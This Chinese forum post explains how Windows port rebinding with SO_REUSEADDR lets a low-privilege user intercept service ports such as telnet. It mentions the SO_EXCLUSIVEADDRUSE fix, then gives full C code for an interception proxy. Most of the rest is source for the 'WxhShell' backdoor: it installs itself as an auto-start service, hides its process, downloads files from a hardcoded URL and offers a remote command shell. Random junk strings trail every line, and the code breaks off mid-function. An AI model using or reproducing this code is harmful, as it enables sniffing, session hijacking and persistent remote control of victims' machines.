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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }e@-[RJ!  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); VG7#6)sQoK  
EF~PM  
  saddr.sin_family = AF_INET; ?V)6`St#C  
k,(_R=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2"^9t1C2  
xo+z[OIlF  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 1MSu ]) W  
&d;$k  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aC` c^'5  
v Rs5-T  
  这意味着什么?意味着可以进行如下的攻击: m$g^On  
TR20{8"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <ZdNPcT<s  
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  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) c,ek]dTj  
n-Y'LK40Os  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0&~u0B{  
SsZzYj.d  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -/?<@*n  
'_Oprx  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bq ]a8tSB  
'h=2_%l@Y  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 R MXj)~4.  
mAa]E t.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 kMXl {  
s9>!^MzBK  
  #include ]^<~[QK_C  
  #include W@=ilW3RD  
  #include t T:yvU@a  
  #include    7L"/4w  
  DWORD WINAPI ClientThread(LPVOID lpParam);   jyr#e  
  int main() sxtGl^,mU:  
  { '~ 0&m]N  
  WORD wVersionRequested; w (1a{m?ht  
  DWORD ret; 8E{>czF"  
  WSADATA wsaData; AJ u.  
  BOOL val; A\Gw+l<h,  
  SOCKADDR_IN saddr; RwWQ$Eb_s  
  SOCKADDR_IN scaddr; *Y~64FM  
  int err; Po3W+; @  
  SOCKET s; f_8~b0`  
  SOCKET sc; ZxQP,Ys_Y  
  int caddsize; 8b!_b2Za  
  HANDLE mt; F^-4Pyq@  
  DWORD tid;   @dNbL}qQ  
  wVersionRequested = MAKEWORD( 2, 2 ); <5%We(3  
  err = WSAStartup( wVersionRequested, &wsaData ); Q{60^vg  
  if ( err != 0 ) { 7j8_O@_  
  printf("error!WSAStartup failed!\n"); ;q2T*4NN  
  return -1; P9vROzXK  
  } [G*mQ@G9  
  saddr.sin_family = AF_INET; .M lE1n'  
   Z)%p,DiNM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 rB]/N,R   
u.6%n. g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); F ReK  
  saddr.sin_port = htons(23); TF>F7v(,45  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) da@ .J9  
  { v#xF;@G  
  printf("error!socket failed!\n"); |Oe6OCPf  
  return -1; Wt =[R 4=  
  } g:yK/1@Hk}  
  val = TRUE; 9 pn1d.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 V5+a[`]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) &PX'=UT  
  { VbjW$?  
  printf("error!setsockopt failed!\n"); p WHu[Fu  
  return -1; ~m7+^c@,  
  } ,")7uMZaF\  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; g=Lt 2UIJ  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]Ea-?IhD  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {YFru6$  
||f 4f3R'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3B+Rx;>h  
  { iKwVYL  
  ret=GetLastError(); .PgkHb=l@  
  printf("error!bind failed!\n"); r+Y1m\  
  return -1; x{E[qH_1Fm  
  } d<o  
  listen(s,2); ^_uzr}LE`  
  while(1) YQ/ *|  
  { z5I<,[`  
  caddsize = sizeof(scaddr); _PF><ODX2  
  //接受连接请求 {8Ll\j@ "  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V|= 1<v  
  if(sc!=INVALID_SOCKET) .;'xm_Gw<  
  { S(pfd2^  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); F+GQl  
  if(mt==NULL) P1<;:!8'  
  { .JE7vPv%!  
  printf("Thread Creat Failed!\n"); M%/D:0  
  break; rYl37.QE  
  } !wgj$5Rw.  
  } )'JSu=Ej  
  CloseHandle(mt); /.r($S g^  
  } B}W^s;h  
  closesocket(s); ?4_;9MkN  
  WSACleanup(); _[ x(p6Xp  
  return 0; Hi Yx(hY  
  }   %}/)_RzQ  
  DWORD WINAPI ClientThread(LPVOID lpParam) n2E2V<#   
  { hf[K\aAk  
  SOCKET ss = (SOCKET)lpParam; S`::f(e  
  SOCKET sc; KGIz)/eSg  
  unsigned char buf[4096]; (\j<`"n  
  SOCKADDR_IN saddr; $a G'.0HW  
  long num; kHO\#fF<  
  DWORD val; IX}l)t[:(  
  DWORD ret; 39"'Fz?1  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -?uwlpm#  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0*q:p`OLw*  
  saddr.sin_family = AF_INET; eMs`t)rQ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); bWqGy pq4  
  saddr.sin_port = htons(23); QO8/?^d  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  [7bY(  
  { W6pS.}  
  printf("error!socket failed!\n"); ?NL2|8  
  return -1; O1 z>A  
  } =c|Bu^(Ctw  
  val = 100; -&c@c@dC  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {PU[MHZF  
  { k@w&$M{tPF  
  ret = GetLastError(); 1g;3MSn~  
  return -1; PSRGlxdO  
  } &5B+8>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Z"n]y4h  
  { 4AGc2e'u  
  ret = GetLastError(); 2dC)%]aLme  
  return -1; |k8;[+  
  } E_++yK^=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) A#T;Gi  
  { ^C(AMT  
  printf("error!socket connect failed!\n"); bHp|> g  
  closesocket(sc); 9DIGK\  
  closesocket(ss); #8PjYB  
  return -1; !o`al` q'  
  } vOqT Ld  
  while(1) { Z|C  
  { /:S.(" Unv  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 eA!aUu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 H:|yu  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 <a'j8pw9i  
  num = recv(ss,buf,4096,0); Z8m/8M  
  if(num>0) z >pq<}R6  
  send(sc,buf,num,0); U9JqZ!  
  else if(num==0) A3Su&0uaB  
  break;  9( m^^  
  num = recv(sc,buf,4096,0); 69_c,(M0  
  if(num>0) (vQShe\  
  send(ss,buf,num,0); iB\d `NUf  
  else if(num==0) ]Y3ALQr!  
  break; zR e0z2  
  } b&LhydaJ  
  closesocket(ss); =/zQJzN  
  closesocket(sc); |_O1V{Q=  
  return 0 ; n44j]+P  
  } 4-m}W;igu  
ddw!FH2W (  
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========================================================== &oT]ycz%  
C4b3ZcD2  
下边附上一个代码,,WXhSHELL *bR _ C"-  
Q} / :  
========================================================== cM55 vVd  
er97&5  
#include "stdafx.h" P| G:h&  
n |(Y?`(  
#include <stdio.h> z8gp<5=  
#include <string.h> n.XT-X^  
#include <windows.h> ?f a/}|T  
#include <winsock2.h> k(T/yd rw  
#include <winsvc.h> P/^:IfuR  
#include <urlmon.h> r> NgJf,  
0n5N-b?G-@  
#pragma comment (lib, "Ws2_32.lib") J&lQ,T!?B  
#pragma comment (lib, "urlmon.lib") T'w=v-(J  
y M>c**9  
#define MAX_USER   100 // 最大客户端连接数 r| YuHm  
#define BUF_SOCK   200 // sock buffer Zu5`-[mw  
#define KEY_BUFF   255 // 输入 buffer Lw3Z^G  
`>K;S!z  
#define REBOOT     0   // 重启 XrYz[h*)!  
#define SHUTDOWN   1   // 关机 6}[W%S]8  
(;!&RZ  
#define DEF_PORT   5000 // 监听端口 yXl zImPn  
'GAjx{gM  
#define REG_LEN     16   // 注册表键长度 H=B8'N  
#define SVC_LEN     80   // NT服务名长度 X.g1 312~  
:c c#e&BO  
// 从dll定义API <x,$ODso  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {"O'kx  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [7$.)}Q-  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '#^ONnSTn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ~]}7|VN.}  
ny{|{ a  
// wxhshell配置信息 qRTy}FU1  
struct WSCFG { 92XzbbLp  
  int ws_port;         // 监听端口 uQrD}%GI  
  char ws_passstr[REG_LEN]; // 口令 P.LMu  
  int ws_autoins;       // 安装标记, 1=yes 0=no nd-y`@z  
  char ws_regname[REG_LEN]; // 注册表键名 %|4Nmf$:Og  
  char ws_svcname[REG_LEN]; // 服务名 `NrxoU=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]Rz]"JZ\S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "`16-g97  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ]>&au8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )~rN{W<s`H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" GBN^ *I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~fEgrF d  
2}t2k>  
}; TN(1oJ:  
7)z^*;x  
// default Wxhshell configuration .#P'NF(5#  
struct WSCFG wscfg={DEF_PORT, `5Q0U%`W  
    "xuhuanlingzhe", Q!MS_ #O  
    1, YS%HZFY, "  
    "Wxhshell", 2B5Z0<  
    "Wxhshell", m%l\EE  
            "WxhShell Service", ,{7Z OzA  
    "Wrsky Windows CmdShell Service", B_nim[72  
    "Please Input Your Password: ", | M4_@P  
  1, ?~hC.5  
  "http://www.wrsky.com/wxhshell.exe", iq=<LOx  
  "Wxhshell.exe" L3,p8-d9Z  
    }; Beq zw0  
eNpGa0 eG  
// 消息定义模块 Y0 Ta&TYZ0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *e!0ZB3J  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b v~"_)C  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P;{f+I|`  
char *msg_ws_ext="\n\rExit."; )mS Aog<  
char *msg_ws_end="\n\rQuit."; *ax$R6a#X  
char *msg_ws_boot="\n\rReboot..."; V~%!-7?  
char *msg_ws_poff="\n\rShutdown..."; _|`S9Nms  
char *msg_ws_down="\n\rSave to "; ,)|nxX  
V'^Hn?1^  
char *msg_ws_err="\n\rErr!"; D!+d]A[r  
char *msg_ws_ok="\n\rOK!"; .sgP3Ah  
ymiOtA Z  
char ExeFile[MAX_PATH]; ESft:3xyw  
int nUser = 0; k9xfv@v}  
HANDLE handles[MAX_USER]; Wyd,7]'z)Z  
int OsIsNt; <x *.M"6?  
??Q'| r  
SERVICE_STATUS       serviceStatus; p~6/  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; { owK~  
3[amCKel  
// 函数声明 ^giseWR(  
int Install(void); ?I6!m~  
int Uninstall(void); \ym3YwP4/:  
int DownloadFile(char *sURL, SOCKET wsh); &;DK^ta*P  
int Boot(int flag); $i;%n1VBg  
void HideProc(void);  v=R=K  
int GetOsVer(void); #41~`vq3  
int Wxhshell(SOCKET wsl); %7 7v'Pz1  
void TalkWithClient(void *cs); l03{ ezJk[  
int CmdShell(SOCKET sock); bj=kqO;*O  
int StartFromService(void); <k+dJ=f  
int StartWxhshell(LPSTR lpCmdLine); j}ywdP`a  
Q$^oIFb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Ru9QQaHE  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); q'fZA;  
b*&AIiT  
// 数据结构和表定义 ,4M7:=gf  
SERVICE_TABLE_ENTRY DispatchTable[] = Nr8#/H2f  
{ <F{EZ Ii  
{wscfg.ws_svcname, NTServiceMain}, @ (<C{  
{NULL, NULL} B+:/!_  
}; ZF^$?;'3  
@8{-B;   
// 自我安装 jgNdcP  
int Install(void) 8lk@ev=O&  
{ agp`<1h9  
  char svExeFile[MAX_PATH]; GH[ATL  
  HKEY key; xkV(E!O  
  strcpy(svExeFile,ExeFile); sxkWg>  
H]As2$[  
// 如果是win9x系统,修改注册表设为自启动 8w /$!9[  
if(!OsIsNt) { W;!OxOWZJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (?4m0Sn>#h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .5*5S[  
  RegCloseKey(key); G'<:O(Imu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dxfF.\BFDn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /vO8s??  
  RegCloseKey(key); 8T-/G9u  
  return 0; i[_B~/_  
    } '-c *S]:r  
  } /6",#B}%b  
} -|V1A[  
else { imw,Nb  
@ >_v/U'  
// 如果是NT以上系统,安装为系统服务 p?rh+0wgX  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a4aM.o  
if (schSCManager!=0) Wg{ 9X#|  
{ cip5 -Z@8  
  SC_HANDLE schService = CreateService W cOyOv  
  ( rMr:\M]t  
  schSCManager, ;\a?xtIy  
  wscfg.ws_svcname, ~P!\;S  
  wscfg.ws_svcdisp, x9\z^GU%H  
  SERVICE_ALL_ACCESS, eLFxGZZ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u|(;SY  
  SERVICE_AUTO_START, hvW FzT5  
  SERVICE_ERROR_NORMAL, lEAf\T7  
  svExeFile, # `L?24%  
  NULL, Ck1{\=t  
  NULL, iepolO=  
  NULL, t?1 b(oJ  
  NULL, u-</G-y  
  NULL ^cRAtoa  
  ); ,i RUR 8  
  if (schService!=0) "qh~wKJ  
  { {0L.,T~g+[  
  CloseServiceHandle(schService); QrBb! .r  
  CloseServiceHandle(schSCManager); , L_u X  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !%X~`&9  
  strcat(svExeFile,wscfg.ws_svcname); & 6="r}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { da ' 1 H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hufpky[&8  
  RegCloseKey(key); ~t+T5`K  
  return 0; aFw \ w>*^  
    } rF?gKk  
  } O, .c gX   
  CloseServiceHandle(schSCManager); Yw(O}U 5e  
} _p*a`,tK  
} m3#rU%Wj  
LUaOp "  
return 1; ~cv322N   
} L`3;9rO  
^iA_<@[`X[  
// 自我卸载 NJ^Bv`  
int Uninstall(void) m+|yk.md  
{ k%D|17I  
  HKEY key; gUr #3#  
Uc%kyTBm1  
if(!OsIsNt) {  #nq$^H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M "\Iw'5$  
  RegDeleteValue(key,wscfg.ws_regname); {"PIS&]tR  
  RegCloseKey(key); %fuV]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3QI.|;X  
  RegDeleteValue(key,wscfg.ws_regname); Llf#g#T  
  RegCloseKey(key); 43.Q);4  
  return 0; jhR`%aH4  
  } ]A=yj@o$xN  
} pJdR`A-k|  
} ;IOM3'5 T@  
else { B@j2^Dr~!  
P9 w);jp;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d%Ls'[Y^_0  
if (schSCManager!=0) K>2M*bGc p  
{ -bd'sv  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3d`u!i?/  
  if (schService!=0) b9;w3Ba  
  { DuQW?9^232  
  if(DeleteService(schService)!=0) { \/s0p  
  CloseServiceHandle(schService); NR3h|'eC  
  CloseServiceHandle(schSCManager); 3*zywcTH  
  return 0; 9ls*L!Jw  
  } BaVooN~C  
  CloseServiceHandle(schService); =28ZSo^  
  } ?WP*At0  
  CloseServiceHandle(schSCManager); K+\2cf?bU  
} dL]wu! wE  
} eC3 ~|G_O  
LzTdi%u$0|  
return 1; QXu[<V  
} !$NQF/Ol  
w2SN=X~#  
// 从指定url下载文件 Z'UhJuD5  
int DownloadFile(char *sURL, SOCKET wsh) }Uu#N H  
{ }  fa  
  HRESULT hr; p%R+c  
char seps[]= "/"; +'/C(5y)0X  
char *token; %p:Z(zU  
char *file; z3c7  
char myURL[MAX_PATH]; \`0s %F:V}  
char myFILE[MAX_PATH]; p`2Q6  
x7xMSy  
strcpy(myURL,sURL); .uinv  
  token=strtok(myURL,seps); !]3kFWs  
  while(token!=NULL) MTip4L W9  
  { cT5BBR   
    file=token; bkuJN%  
  token=strtok(NULL,seps); ^[&,MQU{7  
  } pAws{3(Q  
2>[xe  
GetCurrentDirectory(MAX_PATH,myFILE); <naxpflom0  
strcat(myFILE, "\\"); i A<'i8$P  
strcat(myFILE, file); R=<%!  
  send(wsh,myFILE,strlen(myFILE),0); 4,0 8`5{  
send(wsh,"...",3,0); =9h!K:,k  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 6 w'))Z  
  if(hr==S_OK) T/FZn{I  
return 0; T>pyYF1Q  
else U.WXh(`%  
return 1; /}/GK|tj  
@\r2%M-  
} z=TO G P(  
|- <72$j  
// 系统电源模块 T`bUBrK6g`  
int Boot(int flag) E{P94Phv  
{ OdpHF~(Y/  
  HANDLE hToken; ^T*!~K8A  
  TOKEN_PRIVILEGES tkp; aL*}@|JL"  
xI_0`@do  
  if(OsIsNt) { 0NK|3]p  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~Ajst!Y7=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6RG63+G  
    tkp.PrivilegeCount = 1; ,^7] F"5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VsJKxa4  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ==UYjbuU  
if(flag==REBOOT) { p~NHf\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ][KlEE>W2  
  return 0; O^PN{u  
} _e/Bg~  
else { { 1_ <\ ~J  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YG /@=Z.  
  return 0; n.i 8?:  
} .SLpgYFL{  
  } (xE |T f  
  else { /M JI^\CA  
if(flag==REBOOT) { qyAnq%B}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l-P6B9e|\  
  return 0; 5KfrkZ  
} N/'8W9#6  
else { G3 |x%/Fbp  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,!,tU7-H  
  return 0; `kE7PXqa  
} w+r).PS}C  
} D2GF4%|  
}'?qUy3x  
return 1; 8A5/jqnqt  
} x4/{XRQ  
EDuH+/:n  
// win9x进程隐藏模块 @q`T#vd  
void HideProc(void) 5dhy80|g]  
{ fs:yx'mxV  
?pcbso  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hs5>Gx  
  if ( hKernel != NULL ) j0j!oj)7I  
  { [?hvx}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); [Y~~C J  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MN8>I=p  
    FreeLibrary(hKernel); &4+|{Zx0  
  } 0b/@QgJ  
{bADMj1  
return; _n/73Oh  
} )t@9!V  
alB'l  
// 获取操作系统版本 Aix6O=K6  
int GetOsVer(void) :<mJRsDf  
{ F+GX{e7E\  
  OSVERSIONINFO winfo; wdAKU+tM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }O>4XFj  
  GetVersionEx(&winfo); 4lWqQVx  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "M@&*<S  
  return 1; ,Tu.cg  
  else 8{QCW{K  
  return 0; #0vda'q=j  
} i]N<xcF9N*  
o2=):2x r{  
// 客户端句柄模块 8sU5MQ5  
int Wxhshell(SOCKET wsl) &F/-%l!  
{ Q"B8l[  
  SOCKET wsh; 6^t#sEff]  
  struct sockaddr_in client; 6%h%h: e  
  DWORD myID; O_7}H)  
Vfga%K%l F  
  while(nUser<MAX_USER) $8i`h}AM  
{ R<Mc+{*>  
  int nSize=sizeof(client); %8 D>aS U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4# PxJG6m  
  if(wsh==INVALID_SOCKET) return 1; jdLu\=@z  
<F(S_w62  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 4].o:d;`/  
if(handles[nUser]==0) 6dmb bgO)  
  closesocket(wsh); 5'eBeNxM  
else UWEegFq*  
  nUser++; U65l o[  
  } tW4X+d"  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \O4s0*gw  
]hS<"=oj  
  return 0; >zDQt7+g;  
} CuH4~6  
-3i(N.)<;  
// 关闭 socket AWi>(wk<  
void CloseIt(SOCKET wsh) c+E\e]{  
{ T7 "QwA  
closesocket(wsh); qD4s?j-9  
nUser--; k2$pcR,WM  
ExitThread(0); E0Q6Ryn  
} auc:|?H~1n  
['Lo8 [  
// 客户端请求句柄 #^r-D[/m  
void TalkWithClient(void *cs) [8UZ5_1WL  
{ 0 K#|11r  
C3Q #[  
  SOCKET wsh=(SOCKET)cs; ?gU raSFU  
  char pwd[SVC_LEN]; ]7cciob  
  char cmd[KEY_BUFF]; .%{B=_7  
char chr[1]; Y,v9o  
int i,j; z/`+jIB  
l^ay* H  
  while (nUser < MAX_USER) { Jw@X5-(Cp  
R[v0T/  
if(wscfg.ws_passstr) { Jk-WD"J6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0RtZTCGO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )I3E  
  //ZeroMemory(pwd,KEY_BUFF); >;1w-n  
      i=0; pP1DR'  
  while(i<SVC_LEN) { o-Dfud@  
<uv `)Q9  
  // 设置超时 X Vt;hO  
  fd_set FdRead; Y @'do)  
  struct timeval TimeOut; ]T'8O`  
  FD_ZERO(&FdRead); "i(f+N,)  
  FD_SET(wsh,&FdRead); \ t1#5  
  TimeOut.tv_sec=8; 'DVn /3?X  
  TimeOut.tv_usec=0; MymsDdQ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); nvf5a-C+q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); & ;.rPU  
lY"l6.c  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U`=r .>  
  pwd=chr[0]; j@(S7=^C6%  
  if(chr[0]==0xd || chr[0]==0xa) { 5hy7} *dR  
  pwd=0; HBR/" m  
  break; ~&p]kmwXSX  
  } !PGCoI  
  i++; Z0zEX?2mb  
    } qjkWCLOd  
}NwmZ w>_  
  // 如果是非法用户,关闭 socket )e P Qxx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4y+hr   
} SaF0JPm4z  
_ps4-<ugC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Zy3F%]V0  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `Zo5!"'  
~FYC'd  
while(1) { *!y04'p`<  
c^1JSGv  
  ZeroMemory(cmd,KEY_BUFF); OfBWf6b  
aC1 xt(  
      // 自动支持客户端 telnet标准   89D`!`Ah]  
  j=0; M5+R8ttc  
  while(j<KEY_BUFF) { =/|GWQ j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U&B(uk(2  
  cmd[j]=chr[0]; ,/Gp>Yqx  
  if(chr[0]==0xa || chr[0]==0xd) { {@7UfJh>  
  cmd[j]=0; ^Ff fc@=  
  break; |>U<EtA"  
  } ;:[P/eg  
  j++; {`2 0'  
    } U= n  
Q$.CtECo  
  // 下载文件 E{JTy{z-  
  if(strstr(cmd,"http://")) { $<Gt^3e  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); EB+4]MsD  
  if(DownloadFile(cmd,wsh)) u"v$[8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); "[["naa  
  else 9mMQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B &Z0ZWx  
  } =r]_$r%gR  
  else { !K*3bY`#  
:jTbzDqQ  
    switch(cmd[0]) { 2ALYfZ|d  
  d:&cq8^  
  // 帮助 AX@bM  
  case '?': { 2xuU[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y(rQ032s  
    break; (0 t{  
  } Dy. |bUB!f  
  // 安装 E"BW-<_!  
  case 'i': { u];\v%b  
    if(Install()) kH0kf-4\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X J]+F  
    else 2i6P<&@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^v;8 (eF  
    break; ]nIVP   
    } f~=e  
  // 卸载 }o GMF~  
  case 'r': { "0G)S'  
    if(Uninstall()) mp(:D&M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QxEmuiN  
    else O&.gc p!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tJ d/u QJ  
    break; ri"=)]  
    } x51p'bNy  
  // 显示 wxhshell 所在路径 ;erxB6*  
  case 'p': { yP@#1KLa+  
    char svExeFile[MAX_PATH]; YL;*%XmAG  
    strcpy(svExeFile,"\n\r"); =}0>S3a.7  
      strcat(svExeFile,ExeFile); \@Z D.d#  
        send(wsh,svExeFile,strlen(svExeFile),0); q,Nqv[va  
    break; GZ:1bV37%  
    } ='eQh\T)  
  // 重启 2+(SR.oGq  
  case 'b': { "el3mloR 8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %kBrxf  
    if(Boot(REBOOT))  +@Kq  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jw2hB[WR  
    else { S|RUc}(  
    closesocket(wsh); QE;,mC>  
    ExitThread(0); Tt0]G_  
    } SV2\vby}C  
    break; ~ebm,3?  
    } 1RQM-0W,  
  // 关机 /4*>.Nmb,f  
  case 'd': { =cR=E{20  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0F 4%Xz  
    if(Boot(SHUTDOWN)) 1@]gBv<  
